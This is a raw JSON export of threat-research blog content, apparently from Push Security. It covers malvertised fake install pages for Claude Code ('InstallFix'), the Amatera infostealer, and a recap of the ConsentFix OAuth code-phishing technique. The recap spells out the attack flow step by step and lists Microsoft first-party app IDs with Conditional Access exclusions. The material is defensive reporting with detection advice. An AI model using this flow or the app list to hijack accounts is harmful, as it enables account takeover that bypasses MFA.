ype":945},{},[62889],{"data":62890,"content":62891,"nodeType":860},{},[62892],{"data":62893,"marks":62894,"value":25928,"nodeType":864},{},[],{"data":62896,"content":62897,"nodeType":860},{},[62898],{"data":62899,"marks":62900,"value":25936,"nodeType":864},{},[62901],{"type":899},{"data":62903,"content":62904,"nodeType":860},{},[62905],{"data":62906,"marks":62907,"value":25945,"nodeType":864},{},[62908],{"type":25944},{"data":62910,"content":62911,"nodeType":860},{},[62912],{"data":62913,"marks":62914,"value":21,"nodeType":864},{},[],{"data":62916,"content":62917,"nodeType":860},{},[62918],{"data":62919,"marks":62920,"value":25959,"nodeType":864},{},[62921],{"type":25944},{"data":62923,"content":62924,"nodeType":860},{},[62925],{"data":62926,"marks":62927,"value":25966,"nodeType":864},{},[],{"data":62929,"content":62930,"nodeType":860},{},[62931],{"data":62932,"marks":62933,"value":25974,"nodeType":864},{},[62934],{"type":25944},{"data":62936,"content":62937,"nodeType":860},{},[62938,62941],{"data":62939,"marks":62940,"value":25966,"nodeType":864},{},[],{"data":62942,"marks":62943,"value":25985,"nodeType":864},{},[62944],{"type":899},{"data":62946,"content":62947,"nodeType":860},{},[62948],{"data":62949,"marks":62950,"value":25993,"nodeType":864},{},[62951],{"type":25944},{"data":62953,"content":62954,"nodeType":860},{},[62955],{"data":62956,"marks":62957,"value":21,"nodeType":864},{},[],{"data":62959,"content":62960,"nodeType":860},{},[62961],{"data":62962,"marks":62963,"value":26007,"nodeType":864},{},[62964],{"type":25944},{"data":62966,"content":62967,"nodeType":860},{},[62968,62971],{"data":62969,"marks":62970,"value":25966,"nodeType":864},{},[],{"data":62972,"marks":62973,"value":26018,"nodeType":864},{},[62974],{"type":899},{"data":62976,"content":62977,"nodeType":860},{},[62978],{"data":62979,"marks":62980,"value":26026,"nodeType":864},{},[62981],{"type":25944},{"data":62983,"content":62984,"nodeType":860},{},[62985],{"data":62986,"marks":62987,"value":26034,"nodeType":864},{},[62988],{"type":25944},{"data":62990,"content":62991,"nodeType":860},{},[62992],{"data":62993,"marks":62994,"value":26042,"nodeType":864},{},[62995],{"type":25944},{"data":62997,"content":62998,"nodeType":860},{},[62999],{"data":63000,"marks":63001,"value":26050,"nodeType":864},{},[63002],{"type":25944},{"data":63004,"content":63005,"nodeType":860},{},[63006],{"data":63007,"marks":63008,"value":26058,"nodeType":864},{},[63009],{"type":25944},{"data":63011,"content":63012,"nodeType":860},{},[63013],{"data":63014,"marks":63015,"value":26066,"nodeType":864},{},[63016],{"type":25944},{"data":63018,"content":63019,"nodeType":860},{},[63020,63023],{"data":63021,"marks":63022,"value":25966,"nodeType":864},{},[],{"data":63024,"marks":63025,"value":26077,"nodeType":864},{},[63026],{"type":899},{"data":63028,"content":63029,"nodeType":860},{},[63030],{"data":63031,"marks":63032,"value":26026,"nodeType":864},{},[63033],{"type":25944},{"data":63035,"content":63036,"nodeType":860},{},[63037],{"data":63038,"marks":63039,"value":26092,"nodeType":864},{},[63040],{"type":25944},{"entries":63042},{"hyperlink":63043,"inline":63044,"block":63045},[],[],[63046,63065,63099,63104,63110,63115,63120,63126,63133,63175,63178,63199,63241],{"sys":63047,"__typename":1740,"content":63048,"name":63064,"title":59},{"id":25097},{"json":63049},{"nodeType":856,"data":63050,"content":63051},{},[63052],{"nodeType":860,"data":63053,"content":63054},{},[63055,63060],{"nodeType":864,"value":63056,"marks":63057,"data":63059},"Update March 16:",[63058],{"type":899},{},{"nodeType":864,"value":63061,"marks":63062,"data":63063}," We've identified a number of additional InstallFix pages targeting both the Claude Code docs page (as opposed to the quickstart guide) and NotebookLM, a research and note taking tool from Google. New IoCs have been added accordingly, but this campaign is moving very quickly, so the list won't stay up to date for long. ",[],{},"installfix insight box 5",{"sys":63066,"__typename":1740,"content":63067,"name":63098,"title":59},{"id":25140},{"json":63068},{"data":63069,"content":63070,"nodeType":856},{},[63071,63091],{"data":63072,"content":63073,"nodeType":860},{},[63074,63078,63087],{"data":63075,"marks":63076,"value":63077,"nodeType":864},{},[],"Feeling *Fix fatigue? Us too. But we felt the naming appropriate to indicate that this is part of the same family of techniques. ClickFix has become synonymous with ",{"data":63079,"content":63081,"nodeType":883},{"uri":63080},"https://attack.mitre.org/techniques/T1204/004/",[63082],{"data":63083,"marks":63084,"value":63086,"nodeType":864},{},[63085],{"type":1455},"Malicious Copy and Paste",{"data":63088,"marks":63089,"value":63090,"nodeType":864},{},[],", even though most lures haven’t been related to “fixing” anything for a while now. The user action is essentially the same, just the context of the lure is different. ",{"data":63092,"content":63093,"nodeType":860},{},[63094],{"data":63095,"marks":63096,"value":63097,"nodeType":864},{},[],"But while traditional ClickFix attacks need to manufacture a reason for the user to run a command: a fake CAPTCHA, a fabricated error message, a bogus system prompt — InstallFix doesn't need any of that. The pretext is simply the user wanting to install legit software.","installfix insight box 3",{"sys":63100,"__typename":15710,"title":63101,"arcadeDemoUrl":63102,"playText":63103},{"id":25213},"InstallFix clickthrough demo","https://demo.arcade.software/w9lLXrpwl5E19eQMEcPb?embed","20 secs",{"sys":63105,"__typename":1724,"title":63106,"caption":63106,"layoutMode":59,"file":63107},{"id":25219},"Comparison of the legit page and install commands versus a malicious clone",{"url":63108,"width":1736,"height":63109},"https://images.ctfassets.net/y1cdw1ablpvd/27TYctONO1xi4dAh0lBeYS/36d88361bbb6568410af6d95b829b4d8/image4.png",588,{"sys":63111,"__typename":1724,"title":63112,"caption":63112,"layoutMode":59,"file":63113},{"id":25232},"When interacting with some of the detected pages, the user is redirected back to the legitimate site, lowering suspicion",{"url":63114,"width":57525,"height":21216},"https://images.ctfassets.net/y1cdw1ablpvd/17m5qsbzkBXFHumXDG8Kur/50d42f3c42092cba3082c4221a0857b0/image1.gif",{"sys":63116,"__typename":1724,"title":63117,"caption":59,"layoutMode":59,"file":63118},{"id":25252},"Cloned page 1",{"url":63119,"width":1736,"height":24291},"https://images.ctfassets.net/y1cdw1ablpvd/3ymf2ZJNmWE0U09oOQktzj/74984e9a094f01df4bcb661e23d58992/image2.png",{"sys":63121,"__typename":1724,"title":63122,"caption":59,"layoutMode":59,"file":63123},{"id":25258},"Cloned page lure 2",{"url":63124,"width":1736,"height":63125},"https://images.ctfassets.net/y1cdw1ablpvd/YbK5GVyftUS5G09jmdxSG/cc4c2cca40f873879d69371eab526b56/image3.png",1107,{"sys":63127,"__typename":1724,"title":63128,"caption":63129,"layoutMode":59,"file":63130},{"id":25264},"Lure 3","Google Search sponsored results for Claude Code cloned pages",{"url":63131,"width":57570,"height":63132},"https://images.ctfassets.net/y1cdw1ablpvd/3sLwOnpET892xdFyvBtzfn/956963620a9cec4bafd3b3a63f0426b0/image5.png",903,{"sys":63134,"__typename":1740,"content":63135,"name":63174,"title":59},{"id":25270},{"json":63136},{"nodeType":856,"data":63137,"content":63138},{},[63139],{"nodeType":860,"data":63140,"content":63141},{},[63142,63146,63154,63158,63165,63169],{"nodeType":864,"value":63143,"marks":63144,"data":63145},"Malvertising is an extremely prevalent distribution method ",[],{},{"nodeType":883,"data":63147,"content":63148},{"uri":6923},[63149],{"nodeType":864,"value":63150,"marks":63151,"data":63153},"we've seen used extensively",[63152],{"type":1455},{},{"nodeType":864,"value":63155,"marks":63156,"data":63157}," to distribute both phishing payloads and ClickFix-style lures (including the ",[],{},{"nodeType":883,"data":63159,"content":63160},{"uri":6036},[63161],{"nodeType":864,"value":6041,"marks":63162,"data":63164},[63163],{"type":1455},{},{"nodeType":864,"value":63166,"marks":63167,"data":63168}," campaign we uncovered last year). ",[],{},{"nodeType":864,"value":63170,"marks":63171,"data":63173},"In fact, 4 in 5 ClickFix lures we intercept are accessed from search engines.",[63172],{"type":899},{},"installfix insight box 1",{"sys":63176,"__typename":1717,"type":1718,"ctaText":63177,"buttonLabel":151,"buttonColour":1721,"buttonUrl":27},{"id":25314},"Read more about stealthy attack delivery and techniques in our new report, analysing the different browser-based techniques behind in-the-wild breaches in 2026.",{"sys":63179,"__typename":1740,"content":63180,"name":63198,"title":59},{"id":25389},{"json":63181},{"nodeType":856,"data":63182,"content":63183},{},[63184,63191],{"nodeType":860,"data":63185,"content":63186},{},[63187],{"nodeType":864,"value":63188,"marks":63189,"data":63190},"Amatera is a relatively new infostealer used by cybercriminals to steal sensitive data, such as browser saved passwords, cookies, session tokens, and general system information. It started appearing publicly around 2025 and is considered an evolution of an older malware family called ACR Stealer, and is sold via subscription to criminal operators.",[],{},{"nodeType":860,"data":63192,"content":63193},{},[63194],{"nodeType":864,"value":63195,"marks":63196,"data":63197},"The malware uses various techniques designed to bypass AV/EDR, including direct NTSockets for C2, dynamic API resolution with WoW64 Syscalls, and multi-stage infection chains with dynamic payload delivery. Amatera communicates with its C2 server using hardcoded IP addresses belonging to legitimate CDNs, making the traffic difficult to block without disrupting legitimate services.",[],{},"installfix insight box 2",{"sys":63200,"__typename":1740,"content":63201,"name":63240,"title":59},{"id":25402},{"json":63202},{"nodeType":856,"data":63203,"content":63204},{},[63205],{"nodeType":860,"data":63206,"content":63207},{},[63208,63213,63217,63225,63228,63236],{"nodeType":864,"value":63209,"marks":63210,"data":63212},"Edit: ",[63211],{"type":899},{},{"nodeType":864,"value":63214,"marks":63215,"data":63216},"When investigating different domains, we found additional research that indicates a variety of similar payloads being distributed. Our primary focus here is on the scale of the campaign and the lure delivery technique rather than deep analysis of the malware itself. Check out ",[],{},{"nodeType":883,"data":63218,"content":63220},{"uri":63219},"https://medium.com/@maurice.fielenbach/paste-with-caution-how-a-fake-claude-code-installer-drops-a-fileless-implant-via-deserialization-a85068955c0a",[63221],{"nodeType":864,"value":63222,"marks":63223,"data":63224},"this detailed analysis for one such teardown",[],{},{"nodeType":864,"value":2232,"marks":63226,"data":63227},[],{},{"nodeType":883,"data":63229,"content":63231},{"uri":63230},"https://www.reddit.com/r/CyberSecurityAdvice/comments/1riq3zj/i_accidentally_ran_a_suspicious_curl_command_in/",[63232],{"nodeType":864,"value":63233,"marks":63234,"data":63235},"this Reddit thread",[],{},{"nodeType":864,"value":63237,"marks":63238,"data":63239}," for another example.",[],{},"installfix insight box 4",{"sys":63242,"__typename":15710,"title":63243,"arcadeDemoUrl":63244,"playText":15713},{"id":25560},"ClickFix attack evolution demo","https://demo.arcade.software/UhbkGxUUQC8xpS5z88sx?embed",{"items":63246},[],{},"InstallFix: Weaponizing malvertised install guides  ",{"items":63250},[63251,64067,64657],{"__typename":2059,"sys":63252,"content":63254,"title":64053,"synopsis":64054,"hashTags":59,"publishedDate":64055,"slug":64056,"tagsCollection":64057,"authorsCollection":64063},{"id":63253},"4jcVFrvGBtVXpKU3gDMaa2",{"json":63255},{"data":63256,"content":63257,"nodeType":856},{},[63258,63276,63283,63289,63344,63351,63358,63361,63369,63376,63383,63434,63442,63449,63472,63479,63482,63490,63497,63504,63511,63518,63525,63532,63537,63545,63552,63571,63591,63594,63602,63609,63616,63623,63631,63650,63657,63662,63670,63690,63710,63823,63826,63834,63841,63848,63851,63859,63866,63873,63880,63947,63977,63980,63988,63994,64001,64008,64015,64041,64047],{"data":63259,"content":63260,"nodeType":860},{},[63261,63265,63272],{"data":63262,"marks":63263,"value":63264,"nodeType":864},{},[],"In December, the Push Security research team discovered and blocked a brand new attack technique that we coined ",{"data":63266,"content":63267,"nodeType":883},{"uri":6036},[63268],{"data":63269,"marks":63270,"value":6041,"nodeType":864},{},[63271],{"type":1455},{"data":63273,"marks":63274,"value":63275,"nodeType":864},{},[],". This technique merged ClickFix-style social engineering with OAuth consent phishing to hijack Microsoft accounts. ",{"data":63277,"content":63278,"nodeType":860},{},[63279],{"data":63280,"marks":63281,"value":63282,"nodeType":864},{},[],"We saw this attack running across a large network of compromised websites that attackers were injecting the malicious payload into, forming a large-scale campaign that was detected across multiple customer estates. ",{"data":63284,"content":63288,"nodeType":996},{"target":63285},{"sys":63286},{"id":63287,"type":1001,"linkType":1002},"603MWDqc9NsqkklIkfGNZN",[],{"data":63290,"content":63291,"nodeType":860},{},[63292,63296,63305,63309,63317,63320,63329,63332,63340],{"data":63293,"marks":63294,"value":63295,"nodeType":864},{},[],"ConsentFix got a pretty awesome response from the community in a very short space of time. Within days, ",{"data":63297,"content":63299,"nodeType":883},{"uri":63298},"https://www.youtube.com/watch?v=AAiiIY-Soak",[63300],{"data":63301,"marks":63302,"value":63304,"nodeType":864},{},[63303],{"type":1455},"John Hammond shared a new and improved version of the technique",{"data":63306,"marks":63307,"value":63308,"nodeType":864},{},[]," that he’d spun up in his own lab, while security researchers from ",{"data":63310,"content":63312,"nodeType":883},{"uri":63311},"https://medium.com/@nitashathakur/consentfix-poc-how-the-attack-works-end-to-end-4f8b656f977d",[63313],{"data":63314,"marks":63315,"value":28841,"nodeType":864},{},[63316],{"type":1455},{"data":63318,"marks":63319,"value":3731,"nodeType":864},{},[],{"data":63321,"content":63323,"nodeType":883},{"uri":63322},"https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix",[63324],{"data":63325,"marks":63326,"value":63328,"nodeType":864},{},[63327],{"type":1455},"Glueck Kanja",{"data":63330,"marks":63331,"value":2232,"nodeType":864},{},[],{"data":63333,"content":63334,"nodeType":883},{"uri":55173},[63335],{"data":63336,"marks":63337,"value":63339,"nodeType":864},{},[63338],{"type":1455},"other individual contributors",{"data":63341,"marks":63342,"value":63343,"nodeType":864},{},[]," all shared analysis and recommendations. ",{"data":63345,"content":63346,"nodeType":860},{},[63347],{"data":63348,"marks":63349,"value":63350,"nodeType":864},{},[],"In this blog, we’re sharing some new insights on the campaign, pulling together some of the top recommendations and resources shared across the community, and predicting what the future holds for this novel technique as it quickly enters the mainstream. ",{"data":63352,"content":63353,"nodeType":860},{},[63354],{"data":63355,"marks":63356,"value":63357,"nodeType":864},{},[],"First though, let’s quickly recap what ConsentFix is and how it works. ",{"data":63359,"content":63360,"nodeType":1005},{},[],{"data":63362,"content":63363,"nodeType":1009},{},[63364],{"data":63365,"marks":63366,"value":63368,"nodeType":864},{},[63367],{"type":899},"ConsentFix 101",{"data":63370,"content":63371,"nodeType":860},{},[63372],{"data":63373,"marks":63374,"value":63375,"nodeType":864},{},[],"ConsentFix is an attack technique that prompts the victim to share an OAuth authorization code with an attacker via a phishing page. The attacker then enters this code into a target application on their own device in order to complete the authorization handshake and take over the account. ",{"data":63377,"content":63378,"nodeType":860},{},[63379],{"data":63380,"marks":63381,"value":63382,"nodeType":864},{},[],"By hijacking OAuth, attackers can effectively bypass identity-layer controls like passwords and MFA — even phishing resistant authentication methods like passkeys have no impact on this attack, because it sidesteps the authentication process altogether. ",{"data":63384,"content":63385,"nodeType":860},{},[63386,63390,63398,63401,63408,63412,63419,63423,63431],{"data":63387,"marks":63388,"value":63389,"nodeType":864},{},[],"OAuth abuse attacks are not new. Techniques like ",{"data":63391,"content":63393,"nodeType":883},{"uri":63392},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/consent_phishing/description.md",[63394],{"data":63395,"marks":63396,"value":58042,"nodeType":864},{},[63397],{"type":1455},{"data":63399,"marks":63400,"value":902,"nodeType":864},{},[],{"data":63402,"content":63403,"nodeType":883},{"uri":28650},[63404],{"data":63405,"marks":63406,"value":28273,"nodeType":864},{},[63407],{"type":1455},{"data":63409,"marks":63410,"value":63411,"nodeType":864},{},[]," have been around for some time. However, these mainly focus on connecting your primary workspace account (e.g. Microsoft, Google, etc.) to a fraudulent, attacker-controlled application. But this is becoming increasingly difficult in core enterprise cloud environments like Azure due to ",{"data":63413,"content":63414,"nodeType":883},{"uri":58060},[63415],{"data":63416,"marks":63417,"value":58066,"nodeType":864},{},[63418],{"type":1455},{"data":63420,"marks":63421,"value":63422,"nodeType":864},{},[],". That said, device code phishing still featured prominently in the recent ",{"data":63424,"content":63425,"nodeType":883},{"uri":6237},[63426],{"data":63427,"marks":63428,"value":63430,"nodeType":864},{},[63429],{"type":1455},"high-profile Salesforce attacks in 2025",{"data":63432,"marks":63433,"value":2924,"nodeType":864},{},[],{"data":63435,"content":63436,"nodeType":1312},{},[63437],{"data":63438,"marks":63439,"value":63441,"nodeType":864},{},[63440],{"type":899},"What makes ConsentFix so dangerous?",{"data":63443,"content":63444,"nodeType":860},{},[63445],{"data":63446,"marks":63447,"value":63448,"nodeType":864},{},[],"Unlike typical OAuth attacks, the novel ConsentFix approach enabled the attacker to target different types of application to what they usually go after — with big implications for detection and response. In this case, the attacker:",{"data":63450,"content":63451,"nodeType":941},{},[63452,63462],{"data":63453,"content":63454,"nodeType":945},{},[63455],{"data":63456,"content":63457,"nodeType":860},{},[63458],{"data":63459,"marks":63460,"value":63461,"nodeType":864},{},[],"Specifically targeted first-party Microsoft apps that cannot be restricted in the same way as third-party applications, and are pre-consented in every tenant (meaning users can authenticate to them without admin approval). ",{"data":63463,"content":63464,"nodeType":945},{},[63465],{"data":63466,"content":63467,"nodeType":860},{},[63468],{"data":63469,"marks":63470,"value":63471,"nodeType":864},{},[],"Leveraged legacy scopes that are outside the scope of default logging to evade detection, and targeted scopes with known Conditional Access policy exclusions.",{"data":63473,"content":63474,"nodeType":860},{},[63475],{"data":63476,"marks":63477,"value":63478,"nodeType":864},{},[],"This means that default controls you’d expect to block malicious OAuth grants don’t apply, you may not have logging enabled to detect it if it did happen to you, and to top it off, conditional access policy exclusions mean that many organizations’ expected controls don’t work as intended in this case. ",{"data":63480,"content":63481,"nodeType":1005},{},[],{"data":63483,"content":63484,"nodeType":1009},{},[63485],{"data":63486,"marks":63487,"value":63489,"nodeType":864},{},[63488],{"type":899},"ConsentFix campaign recap",{"data":63491,"content":63492,"nodeType":860},{},[63493],{"data":63494,"marks":63495,"value":63496,"nodeType":864},{},[],"Let’s quickly recap how the ConsentFix campaign was implemented. ",{"data":63498,"content":63499,"nodeType":860},{},[63500],{"data":63501,"marks":63502,"value":63503,"nodeType":864},{},[],"The victim is served a page which requires that they verify that they are human by pasting a URL into the phishing page.",{"data":63505,"content":63506,"nodeType":860},{},[63507],{"data":63508,"marks":63509,"value":63510,"nodeType":864},{},[],"Clicking the “Sign In” button opens a legitimate Microsoft login page. If the user is already logged in (which they likely are if working in their normal browser) their account information is already pre-populated and they won’t need to authenticate again. ",{"data":63512,"content":63513,"nodeType":860},{},[63514],{"data":63515,"marks":63516,"value":63517,"nodeType":864},{},[],"Selecting their account redirects them to a localhost URL containing an OAuth authorization code — this is what they then post into the original phishing page to complete the attack. ",{"data":63519,"content":63520,"nodeType":860},{},[63521],{"data":63522,"marks":63523,"value":63524,"nodeType":864},{},[],"Once the attacker gets the URL, they can exchange it for an access token or refresh token for the particular application being targeted — in this case, Azure CLI.",{"data":63526,"content":63527,"nodeType":860},{},[63528],{"data":63529,"marks":63530,"value":63531,"nodeType":864},{},[],"The TL;DR is that the attacker is manually completing an authorization flow that happens when a user logs into Azure CLI — a a command line client that provides you with the ability to easily manage your Azure AD / Entra ID environment. Except in this case, they’re taking the victim’s information to log in on the attacker’s device instead. ",{"data":63533,"content":63536,"nodeType":996},{"target":63534},{"sys":63535},{"id":57899,"type":1001,"linkType":1002},[],{"data":63538,"content":63539,"nodeType":1312},{},[63540],{"data":63541,"marks":63542,"value":63544,"nodeType":864},{},[63543],{"type":899},"Latest campaign details",{"data":63546,"content":63547,"nodeType":860},{},[63548],{"data":63549,"marks":63550,"value":63551,"nodeType":864},{},[],"Since we shared our blog post, we’ve had a number of additional details come to light about the campaign, which we’ve continued to track. ",{"data":63553,"content":63554,"nodeType":860},{},[63555,63559,63567],{"data":63556,"marks":63557,"value":63558,"nodeType":864},{},[],"It appears to be linked to Russian state-affiliated APT29, as corroborated by threat researchers we’ve been collaborating with. This is consistent with the ",{"data":63560,"content":63561,"nodeType":883},{"uri":6036},[63562],{"data":63563,"marks":63564,"value":63566,"nodeType":864},{},[63565],{"type":1455},"stealthy tactics we observed",{"data":63568,"marks":63569,"value":63570,"nodeType":864},{},[],", which go far beyond the run-of-the-mill detection evasion techniques we see used in criminal phishing campaigns. ",{"data":63572,"content":63573,"nodeType":860},{},[63574,63578,63587],{"data":63575,"marks":63576,"value":63577,"nodeType":864},{},[],"It shares many similarities with, and appears to be an evolution of, ",{"data":63579,"content":63581,"nodeType":883},{"uri":63580},"https://www.volexity.com/blog/2025/12/04/dangerous-invitations-russian-threat-actor-spoofs-european-security-events-in-targeted-phishing-attacks/",[63582],{"data":63583,"marks":63584,"value":63586,"nodeType":864},{},[63585],{"type":1455},"this Russia-affiliated campaign identified by Volexity",{"data":63588,"marks":63589,"value":63590,"nodeType":864},{},[]," that featured a manual version of the attack — where they victim was social engineered via email into opening the Microsoft URL, copying the localhost response, and sending it back to the attacker via email. ",{"data":63592,"content":63593,"nodeType":1005},{},[],{"data":63595,"content":63596,"nodeType":1009},{},[63597],{"data":63598,"marks":63599,"value":63601,"nodeType":864},{},[63600],{"type":899},"Top contributions from the community",{"data":63603,"content":63604,"nodeType":860},{},[63605],{"data":63606,"marks":63607,"value":63608,"nodeType":864},{},[],"As we mentioned earlier, the community response to ConsentFix has been incredible. ",{"data":63610,"content":63611,"nodeType":860},{},[63612],{"data":63613,"marks":63614,"value":63615,"nodeType":864},{},[],"As ever, you get a lot of vendors covering the attack technique with “install our product” as the recommendation. This is to be expected, but it’s misleading when some of these vendors are pushing EDR products that would have absolutely no way of detecting or blocking the attack. ",{"data":63617,"content":63618,"nodeType":860},{},[63619],{"data":63620,"marks":63621,"value":63622,"nodeType":864},{},[],"But cutting through the marketing, a lot of really great resources and recommendations were shared. ",{"data":63624,"content":63625,"nodeType":1312},{},[63626],{"data":63627,"marks":63628,"value":63630,"nodeType":864},{},[63629],{"type":899},"V2.0 released by John Hammond",{"data":63632,"content":63633,"nodeType":860},{},[63634,63638,63646],{"data":63635,"marks":63636,"value":63637,"nodeType":864},{},[],"Within days, John Hammond ",{"data":63639,"content":63640,"nodeType":883},{"uri":63298},[63641],{"data":63642,"marks":63643,"value":63645,"nodeType":864},{},[63644],{"type":1455},"posted about ConsentFix on his Youtube channel",{"data":63647,"marks":63648,"value":63649,"nodeType":864},{},[],", where he showed off a slick improvement on the ConsentFix implementation used by attackers. In his version, the URL containing the Microsoft authorization code was generated in a pop-up browser window that could simply be drag-and-dropped into the phishing page. ",{"data":63651,"content":63652,"nodeType":860},{},[63653],{"data":63654,"marks":63655,"value":63656,"nodeType":864},{},[],"This implementation is way smoother, making it much more likely that a victim would fall for it. And this took a matter of days… ",{"data":63658,"content":63661,"nodeType":996},{"target":63659},{"sys":63660},{"id":54834,"type":1001,"linkType":1002},[],{"data":63663,"content":63664,"nodeType":1312},{},[63665],{"data":63666,"marks":63667,"value":63669,"nodeType":864},{},[63668],{"type":899},"Additional vulnerable first-party apps identified",{"data":63671,"content":63672,"nodeType":860},{},[63673,63677,63686],{"data":63674,"marks":63675,"value":63676,"nodeType":864},{},[],"Fabian Bader and Dirk-jan Mollema from Glueck Kanja have ",{"data":63678,"content":63680,"nodeType":883},{"uri":63679},"https://entrascopes.com/?bypass=true&authcodeFix=true",[63681],{"data":63682,"marks":63683,"value":63685,"nodeType":864},{},[63684],{"type":1455},"shared a great resource",{"data":63687,"marks":63688,"value":63689,"nodeType":864},{},[]," on wider first-party apps that are vulnerable to ConsentFix. ",{"data":63691,"content":63692,"nodeType":860},{},[63693,63697,63706],{"data":63694,"marks":63695,"value":63696,"nodeType":864},{},[],"In total, there are 11 apps vulnerable to ConsentFix that also have known ",{"data":63698,"content":63700,"nodeType":883},{"uri":63699},"https://cloudbrothers.info/conditional-access-bypasses/#documented-bypasses",[63701],{"data":63702,"marks":63703,"value":63705,"nodeType":864},{},[63704],{"type":1455},"Conditional Access exclusions",{"data":63707,"marks":63708,"value":63709,"nodeType":864},{},[]," (either for the app generally, or when specific scopes are requested for the app):",{"data":63711,"content":63712,"nodeType":941},{},[63713,63723,63733,63743,63753,63763,63773,63783,63793,63803,63813],{"data":63714,"content":63715,"nodeType":945},{},[63716],{"data":63717,"content":63718,"nodeType":860},{},[63719],{"data":63720,"marks":63721,"value":63722,"nodeType":864},{},[],"Microsoft Azure CLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46",{"data":63724,"content":63725,"nodeType":945},{},[63726],{"data":63727,"content":63728,"nodeType":860},{},[63729],{"data":63730,"marks":63731,"value":63732,"nodeType":864},{},[],"Microsoft Azure PowerShell: 1950a258-227b-4e31-a9cf-717495945fc2",{"data":63734,"content":63735,"nodeType":945},{},[63736],{"data":63737,"content":63738,"nodeType":860},{},[63739],{"data":63740,"marks":63741,"value":63742,"nodeType":864},{},[],"Microsoft Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264",{"data":63744,"content":63745,"nodeType":945},{},[63746],{"data":63747,"content":63748,"nodeType":860},{},[63749],{"data":63750,"marks":63751,"value":63752,"nodeType":864},{},[],"Microsoft Whiteboard Client: 57336123-6e14-4acc-8dcf-287b6088aa28",{"data":63754,"content":63755,"nodeType":945},{},[63756],{"data":63757,"content":63758,"nodeType":860},{},[63759],{"data":63760,"marks":63761,"value":63762,"nodeType":864},{},[],"Microsoft Flow Mobile PROD-GCCH-CN: 57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0",{"data":63764,"content":63765,"nodeType":945},{},[63766],{"data":63767,"content":63768,"nodeType":860},{},[63769],{"data":63770,"marks":63771,"value":63772,"nodeType":864},{},[],"Enterprise Roaming and Backup: 60c8bde5-3167-4f92-8fdb-059f6176dc0",{"data":63774,"content":63775,"nodeType":945},{},[63776],{"data":63777,"content":63778,"nodeType":860},{},[63779],{"data":63780,"marks":63781,"value":63782,"nodeType":864},{},[],"Visual Studio: 872cd9fa-d31f-45e0-9eab-6e460a02d1f1",{"data":63784,"content":63785,"nodeType":945},{},[63786],{"data":63787,"content":63788,"nodeType":860},{},[63789],{"data":63790,"marks":63791,"value":63792,"nodeType":864},{},[],"Aadrm Admin Powershell: 90f610bf-206d-4950-b61d-37fa6fd1b224",{"data":63794,"content":63795,"nodeType":945},{},[63796],{"data":63797,"content":63798,"nodeType":860},{},[63799],{"data":63800,"marks":63801,"value":63802,"nodeType":864},{},[],"Microsoft SharePoint Online Management Shell: 9bc3ab49-b65d-410a-85ad-de819febfddc",{"data":63804,"content":63805,"nodeType":945},{},[63806],{"data":63807,"content":63808,"nodeType":860},{},[63809],{"data":63810,"marks":63811,"value":63812,"nodeType":864},{},[],"Microsoft Power Query for Excel: a672d62c-fc7b-4e81-a576-e60dc46e951d",{"data":63814,"content":63815,"nodeType":945},{},[63816],{"data":63817,"content":63818,"nodeType":860},{},[63819],{"data":63820,"marks":63821,"value":63822,"nodeType":864},{},[],"Visual Studio Code: aebc6443-996d-45c2-90f0-388ff96faa56",{"data":63824,"content":63825,"nodeType":1005},{},[],{"data":63827,"content":63828,"nodeType":1009},{},[63829],{"data":63830,"marks":63831,"value":63833,"nodeType":864},{},[63832],{"type":899},"Predictions for ConsentFix",{"data":63835,"content":63836,"nodeType":860},{},[63837],{"data":63838,"marks":63839,"value":63840,"nodeType":864},{},[],"Based on the speed at which new iterations on the ConsentFix technique were shared by security researchers, and the breadth of apps and possible scopes that can be leveraged, both red teams and criminals will inevitably adopt ConsentFix into their arsenal of TTPs in the near future. It is likely that new ConsentFix variants will emerge imminently (if not already in circulation). ",{"data":63842,"content":63843,"nodeType":860},{},[63844],{"data":63845,"marks":63846,"value":63847,"nodeType":864},{},[],"All security teams responsible for protecting Microsoft environments should ensure that monitoring controls and mitigations are put in place as a matter of high priority. ",{"data":63849,"content":63850,"nodeType":1005},{},[],{"data":63852,"content":63853,"nodeType":1009},{},[63854],{"data":63855,"marks":63856,"value":63858,"nodeType":864},{},[63857],{"type":899},"Updated recommendations for security teams",{"data":63860,"content":63861,"nodeType":860},{},[63862],{"data":63863,"marks":63864,"value":63865,"nodeType":864},{},[],"As an entirely browser-native attack technique, many traditional security tools and data sources are of limited use when it comes to detecting or pre-emptively blocking this attack. At the same time, the attack exploits default Microsoft security configs to evade both prevention and detection controls.",{"data":63867,"content":63868,"nodeType":860},{},[63869],{"data":63870,"marks":63871,"value":63872,"nodeType":864},{},[],"To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. ",{"data":63874,"content":63875,"nodeType":860},{},[63876],{"data":63877,"marks":63878,"value":63879,"nodeType":864},{},[],"For organizations relying on Microsoft logging as the sole line of defense against this attack, there are some new recommendations to add to the list thanks to the community response: ",{"data":63881,"content":63882,"nodeType":941},{},[63883,63906,63916,63937],{"data":63884,"content":63885,"nodeType":945},{},[63886],{"data":63887,"content":63888,"nodeType":860},{},[63889,63893,63902],{"data":63890,"marks":63891,"value":63892,"nodeType":864},{},[],"Ensure that logging for the deprecated ",{"data":63894,"content":63896,"nodeType":883},{"uri":63895},"https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/aadgraphactivitylogs",[63897],{"data":63898,"marks":63899,"value":63901,"nodeType":864},{},[63900],{"type":1455},"AADGraphActivityLogs",{"data":63903,"marks":63904,"value":63905,"nodeType":864},{},[]," is enabled.",{"data":63907,"content":63908,"nodeType":945},{},[63909],{"data":63910,"content":63911,"nodeType":860},{},[63912],{"data":63913,"marks":63914,"value":63915,"nodeType":864},{},[],"Hunt in logs for the Application IDs highlighted above, along with the Resource IDs for Windows Azure Active Directory (00000002-0000-0000-c000-000000000000) and Microsoft Intune Checkin (26a4ae64-5862-427f-a9b0-044e62572a4f)",{"data":63917,"content":63918,"nodeType":945},{},[63919],{"data":63920,"content":63921,"nodeType":860},{},[63922,63925,63933],{"data":63923,"marks":63924,"value":21,"nodeType":864},{},[],{"data":63926,"content":63927,"nodeType":883},{"uri":55173},[63928],{"data":63929,"marks":63930,"value":63932,"nodeType":864},{},[63931],{"type":1455},"Create 